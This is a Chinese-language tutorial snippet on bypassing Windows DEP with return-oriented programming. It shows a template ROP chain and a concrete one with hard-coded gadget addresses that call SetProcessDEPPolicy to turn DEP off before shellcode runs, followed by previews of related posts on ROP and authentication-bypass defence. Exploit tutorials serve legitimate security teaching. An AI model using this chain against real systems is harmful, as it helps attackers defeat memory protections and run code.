使用ROP攻擊繞過Windows的DEP

2022-05-04 07:39:08 字數 1095 閱讀 5589

各函式在windows各個系統的存在情況如下,其中(1)代表不存在,(2)代表將由於預設dep策略設定而失敗:

繞過dep需要構造rop鏈,rop鏈的作用就是用一連串的gadgets來實現這些函式的呼叫關閉dep保護,然後轉到shellcode上執行。

0x????????,  # pop ebp # retn

0x????????, # ptr setprocessdeppolicy(「setprocessdeppolicy」的指標)

0x????????, # pop ebx # retn

0x00000000, # dwflags

0x????????, # pop edi # retn

0x????????, # ptr retn(「retn指令」的位址)

0x????????, # pop esi # retn

0x????????, # ptr retn(「retn指令」的位址)

0x????????, # pushad # retn

0x77bf4f42,   # retn

0x90909090,

0x7c80df32, # pop ebp # retn

0x7c862144, # ptr to setproccessdeppolicy()

0x7c81ae28, # pop ebx # retn [kernel32.dll]

0x00000000, # 0x00000000(dwflags)

0x7c86ce63, # pop edi # retn [kernel32.dll]

0x77bf54c4, # ptr retn

0x7c87b976, # pop esi # retn [msvcrt.dll]

0x77bf5502, # ptr retn

0x77d23ad9, # pushad # retn [user32.dll]

ROP攻擊技術

前面介紹了ret2libc和ret2plt,這兩個攻擊技術的相通點是函式引數是通過壓棧來傳遞,這也是i386架構的呼叫約定。然而隨著64位伺服器的普及,以及後來越來越廣泛,以致幾乎所有伺服器都公升級到64位的硬體上。根據x86 64 abi的呼叫約定,函式間傳遞引數不再以壓棧的方式,而是以暫存器方式...

ROP攻擊初試 Return2PLT

補充 有點迷,感覺像是return2libc,通篇攻擊貌似沒有涉及到ptl 具體內容在這裡摘取操作步驟,原理有待以後補充 關於plt的介紹來自 最後解釋了一下為什麼寫入資料位元組數是28個a procedural linkage table,也就是plt是過程鏈結表,為每個全域性變數儲存了一段 第一...

怎樣防止繞過認證攻擊

繞過認證是攻擊者不通過認證頁面就進入後台頁面操作,在我們的系統中,要解決這個問題其實挺簡單,我認為需要用下面幾個方式來解決 1.後台資料夾不要用admin,manage等容易比較猜到的英文作為資料夾名 好處在於攻擊者不知道後台路徑的時候很難猜到後台路徑 2.登陸頁面不要用login做為檔名 好處在於...